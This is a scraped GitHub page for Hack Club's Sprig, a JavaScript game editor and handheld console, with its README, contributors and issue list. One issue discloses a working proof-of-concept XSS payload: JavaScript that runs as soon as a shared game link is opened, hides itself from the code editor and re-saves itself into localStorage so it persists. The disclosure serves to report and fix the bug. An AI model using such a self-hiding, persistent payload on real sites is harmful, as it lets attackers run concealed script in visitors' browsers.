Git Product home page Git Product logo

hackclub / sprig Goto Github PK

View Code? Open in Web Editor NEW
822.0 17.0 827.0 80.43 MB

๐Ÿƒ Learn to code by making games in a JavaScript web-based game editor.

Home Page: https://sprig.hackclub.com

License: MIT License

JavaScript 90.43% CSS 0.59% TypeScript 3.61% Astro 1.53% SCSS 0.20% Svelte 0.08% Shell 0.09% HTML 0.02% Python 0.08% CMake 0.10% C 3.27%
game game-development game-engine hacktoberfest learning puzzle

sprig's Introduction

๐Ÿƒ Hack Club Sprig ๐Ÿƒ

๐Ÿ’ป Online Editor: Make a game | ๐Ÿ‘€ Gallery: Find games | ๐Ÿ•ธ Landing Page | ๐ŸŽฎ Firmware | ๐Ÿ‘พ Engine

Sprig is a game console where every user is a creator. It can only be obtained by building a tile-based game in the web-based game editor and shipping it in the community gallery. It's made by Hack Club.

Screen Shot 2022-08-22 at 4 02 04 PM

You should be able to get started in Sprig with very little programming experience. Even if you're an expert, you should still be able to have fun. Sprig games are designed to be shared and hacked on with friends. Every game submitted is easily viewable and editable in our gallery allowing people to learn from and build off each other.

Sprig is a...

...custom handheld game console built by Hack Club. Fall of 2022, we are giving a Sprig (valued at over $100 in components alone) to every teenage hacker that successfully shares a game they create in our community gallery.

Screen Shot 2022-08-22 at 4 02 04 PM

...web-based game editor that transforms learning to code from studying language syntax to making small creative projects. The Sprig game engine exposes a small construction kit for making tile-based games. This construction kit helps you focus on being creative instead of learning big APIs. The games are just JavaScript and we built a custom system to run that same JavaScript on the microcontroller!

Screen Shot 2022-03-07 at 6 21 27 PM

...hardware development kit. Itโ€™s not just for gaming! The Sprig console is designed to be assembled and disassembled. Each kit includes parts needed for getting started with hardware engineering and embedded systems programming. This includes a Raspberry Pi Pico, a TFT7735 screen, a MAX98357A I2S class D audio amplifier, a whole bunch of buttons, LEDs, a speaker, and a carrier board which wires all these components together while exposing the remaining pins on the microcontroller. Itโ€™s a complete system for generating graphics, sound, and handling tactile inputs which is reprogrammable at the touch of a button.

Screen Shot 2022-08-22 at 4 04 08 PM

Fully open source

Sprig is open source. Shipping a game to the Sprig Gallery is contributing to an open-source project. Everything about Sprig is transparent and editable. That includes the hardware designs, the game engine, the embedded game engine for the RP2040 chip, and the editor and website itself (this repo)!

We did some fun engineering to get Sprig to work and to make your games run the same on your desktop computer and a $4 microcontroller. That involved custom JS runtimes with optimizations in C and even PIO assembly. We also documented some behind-the-scenes.

You Ship, We Ship

Make a game โ†’ Share it with the community โ†’ Receive your device โ†’ Play Sprig games on it โ†’ Hack on the device for more projects

Only teenagers and younger can receive Sprigs! All are welcome to submit to the gallery though.

Philosophy

People learn best when they make things that they care about, which they can then share with others. This type of learning philosophy is called constructionism, and Sprig is a type of microworld. A microworld is an environment where you can discover programming by using it to express yourself.

Tutorials

To get started you can follow this challenge in the editor, check out some Sprig workshops or Sprig jams.

Development

Join the #sprig channel on the Hack Club Slack where you can join the development discussion and ask for help. We also have other channels for Sprig specific stuff:

  • #sprig-platform: For discussion of development of the Sprig platform as a whole.
  • #sprig-gaming-controller: Building a case for the Sprig console to make it a portable gaming controller.
  • #sprig-emulator: Development of emulator.
  • #sprig-multiplayer: Development of multiplayer support.
  • #sprig-lora: Development of Sprig-Lora communicator.
  • #sdsprig: Development of Sprig loading from an SD Card.
  • #sprig-minecraft: Development of Minecraft for Sprig.
  • #sprig-ios-app: Development of iOS app.
  • #sprig-engagement: Development of a bot to post every new game to #sprig.
  • #vs-sprig: Development of Sprig extension for VS Code.
  • #stationary-sprig: Making Sprig a home console.
  • #spriggy-doom: Development of a clone of Doom.
  • #sprigos-development: Development of the sprigOS, the sprig game that acts like an operating system.
  • #spade: For discussions of Spade firmware/OS of the Sprig.
  • #spaint: Make art with your sprig with sPaint and share.

Learn more about how to make games with Sprig check out the docs.

Sprig's editor and site pages are built with Astro using Preact for rendering. Perhaps somewhat unusually, we predominantly use Preact Signals for state management. The project structure is as follows:

  • src/pages/ contains all the site's main pages and API routes. In general, .ts files are API routes and .astro files are pages. All pages are server-side rendered on demand and can make database calls and such.
  • src/components/ contains all the components used in the editor and site pages. Most components will have accompanying .module.css files which contain vanilla CSS stylesheets which are scoped to the component. These "CSS modules" can be imported as a JS object containing referencable class names.
  • src/lib/ contains all the support code. Currently this is a mix of server and client code.
  • src/legacy/ has a bunch of old code from the v1 version of the editor which is kept for ease of porting the home and Get a Sprig pages. Since Astro lets us combine multiple frameworks, we're also using old Svelte code in some places.
  • docs/ contains documentation on how to use Sprig, including docs.md which contains the help file embedded in the editor.
  • public/ contains static assets which are directly served.
  • src/global.css and src/components/standard-head.astro contain code that's generally shared across all pages.

Everything pushed to GitHub and all pull requests are automatically deployed on Vercel.

Prerequisites

Things you'll want installed:

We use Firebase as a database. To develop login/saving related features locally, you'll likely want to create a Firebase project for yourself. Then, create a service account, download the JSON file, and convert the contents to base64 (link to a tool to easily do this).

We recommend Visual Studio Code as a code editor. You should be automatically prompted to install some recommended extensions when you open the project.

Project Setup

In a terminal, clone the repo and install packages:

git clone https://github.com/hackclub/sprig/
cd sprig
yarn install

Next, you'll want to give Sprig access to the Firebase credentials, as well as some extra credentials that you can request from the @creds team on Slack. Complete the .env.example file with those credentials and rename it to .env.

To start the dev server, run yarn dev and visit http://localhost:3000 in your web browser! Please create a GitHub issue if you cannot get something to work properly.

Engine Development

All engine code (responsible for running games, playing tunes, etc.) is in a different repo: https://github.com/hackclub/sprig-engine/.

If you want to work on the engine and test out your changes in the context of this repo, you'll want to use a feature called linking.

First set up the engine repo:

git clone https://github.com/hackclub/sprig-engine/
cd sprig-engine
yarn install
yarn link

Then, in this website's repo:

yarn link sprig

Now, run yarn dev in the engine repo to start the TypeScript build process.

Acknowledgements

The Sprig was developed by a team at Hack Club with assistance from Brian Silverman (who helped develop Scratch and the precursor to Lego Mindstorms), Vadim Gerasimov (engineer at Google who helped create Tetris when he was 15), and Quentin Bolsรฉe (researcher at MIT and Vrije University Brussels), and dozens contributions from teenage open-source developers!

We're also grateful for amazing open-source projects that make this possible like Kaluma, JerryScript, uhtml, and CodeMirror.

Responsibilities

Please refer to this document for a list of current team members who are accountable for maintaining certain aspects of the Sprig platform.

License

The Hack Club Sprig is open source and licensed under the MIT License. Fork, remix, and make it your own! Pull requests and other contributions greatly appreciated.

sprig's People

Contributors

agentblack6000 avatar captainexpo-1 avatar cedric-h avatar cjdenio avatar cosmin-mare avatar devios01 avatar duck123acb avatar exu3 avatar galaxygamingboy avatar grymmy avatar itsimpeccable avatar jianmin-chen avatar josiasaurel avatar kaietkin avatar khrj avatar kognise avatar leomcelroy avatar lucasht22 avatar mattthebanana avatar maxwofford avatar omay238 avatar recursiveforte avatar samdev-7 avatar sampoder avatar sheepy3 avatar souvikpal2000 avatar stuntstorm avatar wojtekwidomski avatar yodalightsabr avatar zachlatta avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sprig's Issues

Killer branded README

Create an amazing README that communicates:

  • What Game Lab is
  • How it's intended to be used
  • How it's different from Kaboom.js and other things like it (why did we create Game Lab instead of just using Kaboom.js or another alternative?)
  • Immediately how to get started making a game and how to get help when you get stuck

The vibe should be:

  • Fun / playful
  • Straight to the point / not longwinded
  • The sort of thing that can frontpage on Hacker News

game gallery

it would be cool to have a gallery of other games that people have submitted that one may choose to load rather than the default pong game.

there could be a simple star and comment system like scratch has.

we could use a slack channel as the backend like #ship-gamelab or something and store the comments and reacts on posts there and use slack auth to submit games via the gamelab website with your hack club slack account

Brush color should stay the same when tabbing between sprites

example workflows which are made very tedious by having to constantly change your brush color every time you tab over: character animation, changing color scheme of multiple sprites

a headache to implement due to how state is divvied up though

User can't tell they're in eraser mode in pixel editor

Was working with @hackliv on Game Lab and they ran into a problem where they couldn't figure out why the draw tool wasn't working in the pixel editor:

image

The issue was that somehow the pixel editor got set to eraser mode, and they couldn't visually see it was in eraser mode. It wasn't clear that there was a portion of the pixel editor cut off to them either. I had to expand the pixel editor area because I knew that was possible.

image

Open Graph unfurls

Big idea time: what if Game Lab share links unfurled with a cool meta description + image?

This can't be done with /?id=99dc9855ff952f4bc7ffc9c7737d356b -style share links, given that Game Lab is a single-page app, but a Vercel serverless function could be coerced into making this possible.

I'm hacking away at this in cjdenio/open-graph-image; we'll see what happens. Wondrous things can happen when you stick a hacker in front of a computer.

UI updates?

I'm interested in possibly contributing to some UI updates here, but I was wondering what the goals exactly of this project are. Is the basic aesthetic intentional, or would a more modern interface closer to something like Replit be appreciated?

image upload

users should be able to drag and drop a sprite into the editor

Themed interface with sounds

Once #25 is knocked out and we have some ideas for what the editor will be called, what it should look, and what it should feel like, style the interface and add sounds to make it really fun and playful.

Ideas for a couple things:

  • What if there was some sort of really cool boot-up animation and a boot-up sound?
  • I think there should be some sort of card when people first load Game Lab explaining what it is and how to use it
  • Somewhere there should be some sort of documentation link

XSS (+persistence) without user interaction

PoC. Unminified payload:

(function(){
	let cm = document.querySelector("codemirror-js");
	let { from, to } = cm.view.state.doc.line(1);
	cm.view.dispatch({ changes: { from, to: to + 1 }});
	let saved = "hc-game-lab" in localStorage ? JSON.parse(localStorage["hc-game-lab"]) : {
		/* base64-encoded default program code, with an extra line at the beginning */
		prog: atob("LypjaGFuZ2UgbWUqLwpjb25zdCBjYW52YXMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZ2FtZS1jYW52YXMiKTsKCmNvbnN0IGUgPSBjcmVhdGVFbmdpbmUoY2FudmFzLCAzMDAsIDMwMCk7CgoKZS5hZGQoewoJdGFnczogWyJwbGF5ZXIiXSwKCXNvbGlkOiB0cnVlLAoJeDogNTAsCgl5OiA1MCwKCS8vIHNwcml0ZTogc3ByaXRlX2plYiwKCS8vIHNjYWxlOiAyLAoJdXBkYXRlKG9iaikgewoJCW9iai5yb3RhdGlvbiArPSAwLjAxOTsKCQlpZiAoZS5oZWxkS2V5KCJBcnJvd0xlZnQiKSkgb2JqLnggLT0gMzsKCQlpZiAoZS5oZWxkS2V5KCJBcnJvd1JpZ2h0IikpIG9iai54ICs9IDM7Cgl9LAp9KQoKZS5zdGFydCgpOw=="),
		sprites: [],
	};
	function persistentPayload() {
		let cm = document.querySelector("codemirror-js");
		let { from, to } = cm.view.state.doc.line(1);
		cm.view.dispatch({ changes: { from, to: to + 1 }});
		alert("persistent payload ;-)");
	}
	let payload_ = /{(.*)}/.exec(persistentPayload.toString())[1];
	let payload = "(function(){" + payload_ + "})();\n";
	saved.prog = saved.prog.replace(/.*\n/, payload);
	localStorage["hc-game-lab"] = JSON.stringify(saved);
	alert("pwned and installed a persistent payload. good luck trying to find me ;-)");
})();

The minified version of this was added to a game-lab and then a link was created. It turns out that the code runs as soon as the link is visited, so we can also be stealthy and hide the payload from the user (as the PoC above does.)

Weird history bug

Steps to replicate:

  1. Go to hackclub.com
  2. Click the "gamelab" announcement banner
    Screen Shot 2022-02-08 at 10 13 21
  3. once on gamelab, try clicking the back button & the browser will still be on gamelab

Screen Shot 2022-02-08 at 10 13 35

When I hold the back button to see the browser history, it looks like a bunch of gamelab instances end up in history:
Screen Shot 2022-02-08 at 10 13 11

Asset tooltips

Currently tooltips on assets are broken:

Screen.Recording.2022-02-01.at.15.44.44.mov
  • "Add sprite" tooltip floats super high above the button
  • "Add tune" tooltip is hidden under the game preview
  • Removing an asset (the red x buttons) should have a tooltip that says something along the lines of "remove"

automatically remove text on game end

people shouldn't have to manually remove their own text, there should be no indication that the text is actually rendered using the DOM rather than ephemerally on the canvas like a sprite.

Branding

Come up with creative branding for Game Lab in line with our philosophical intentions for it:

  • New name
  • New domain
  • Ideas for visual theme and feel of it

Inspirations to look at: PICO-8 and other fantasy consoles. We want to emphasize the playfulness of Game Lab and that the goal of it is to very quickly make games that are meaningful and fun, not to build very complicated games.

Game Lab is not a competitor to Kaboom.js. Worth speaking with @leomcelroy about the differences to understand for branding purposes.

Small grammar tweaks to Philosophy section in README

Under https://github.com/hackclub/gamelab#philosophy, there's a few grammar tweaks that could be made.

Right now it reads:

As we said before people learn best when they make things that they care about which they can share with others. This learning philosophy is called constructionism and Game Lab is a type of microworld. It's an environment where you can discover programming by using it to express yourself.

And maybe it could be:

As we have said previously, people learn best when they make things that they care about, which they can then share with others. This type of learning philosophy is called constructionism, and Game Lab is a type of microworld. A microworld is an environment where you can discover programming by using it to express yourself.

Can't be compiled using esbuild

Today I was trying to help a Hack Clubber who has a lot of websites blocked by their school on their computer. They are unable to load gamelab.hackclub.com, and other domains are blocked too. For example, https://cdn.skypack.dev/md5 - which is a dynamic module linked from our code - is blocked by their school.

I was thinking I could use esbuild to create a JavaScript bundle to make a 100% local build of Game Lab and load it onto their computer using a USB stick. But I can't build Game Lab using esbuild because it has dynamic external modules, which esbuild doesn't support.

Share/save size limit

currently, saves over airtable's 100k character limit will fail silently. this issue tracks moving to a new storage provider & making sure existing links still work

Download tune as mp3

It'd be really nifty to download tunes as a file format i can load in other places!

Add ability to mirror sprites

It would be nice if I could mirror sprites on the x or y axis, as right now I am just adding sprites for walking left vs right.

Bugs + versioning!

Fix all the bugs we can for a 1.0 launch! Please link issues for bugs that we find and fix to this one so we have a record of everything getting knocked out.

Download sprite as png

It'd be really helpful when sharing images with friends or editing them locally to download a given sprite as a png (w/ transparency) to my local filesystem

Small grammar tweak on intro in README

Right now it reads:

You should be able to get started in Game Lab with very little experience programming but you should still be able to have fun with it even if you're an expert. Enjoy and can't wait to see what you make!

Maybe it could read:

You should be able to get started in Game Lab with very little experience programming, but you should still be able to have fun with it even if you're an expert. We hope you enjoy it, and we can't wait to see what you make!

Bug bounty flow

Build out flow in the frontend that communicates to the user that if they find and file a bug in Game Lab, we will send them candy! Or tiny plastic hands or something.

Ideally the flow would create whatever our current equivalent of a mail mission and assign it to someone to make sure the candy gets sent out.

fix default example

currently when loading the default code doesn't work. let's move it to the cartridge system

Sample game with beautiful pixel art

Create a sample game showing off Game Lab's features with beautiful, gorgeous, drop dead amazing pixel art to knock everyone's socks off.

  • Should be fun to play
  • Should have beautiful pixel art
  • Should have great sound and feel like it has a well-rounded "aesthetic"
  • Code should be readable by a JS beginner for inspiration in their own Game Lab games

Add view-only mode for embedding projects

Feature idea: Add a view-only mode for embedding in projects or sharing with people.

@cedric-h had the idea of a place for people to share projects made, for people that participate in Hack Club and will be running game lab in clubs but are not in the slack. In order for it to function, there would need to be a mode where you only see the output so it could be embedded somewhere.

Consider adding a button for challenges to "reset code" to starting position

In the process of solving a challenge, sometimes you accidentally break the game and want to reset the challenge to its original code. Right now the user has to refresh the page, and then re-open the challenge to get back to the starting position.

Suggestion: What if we had a button that was only visible when you had a challenge open to reset the code to where the challenge started? It could be in the navbar area and say "reset code".

If we're not interested in this, please feel free to close this issue.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.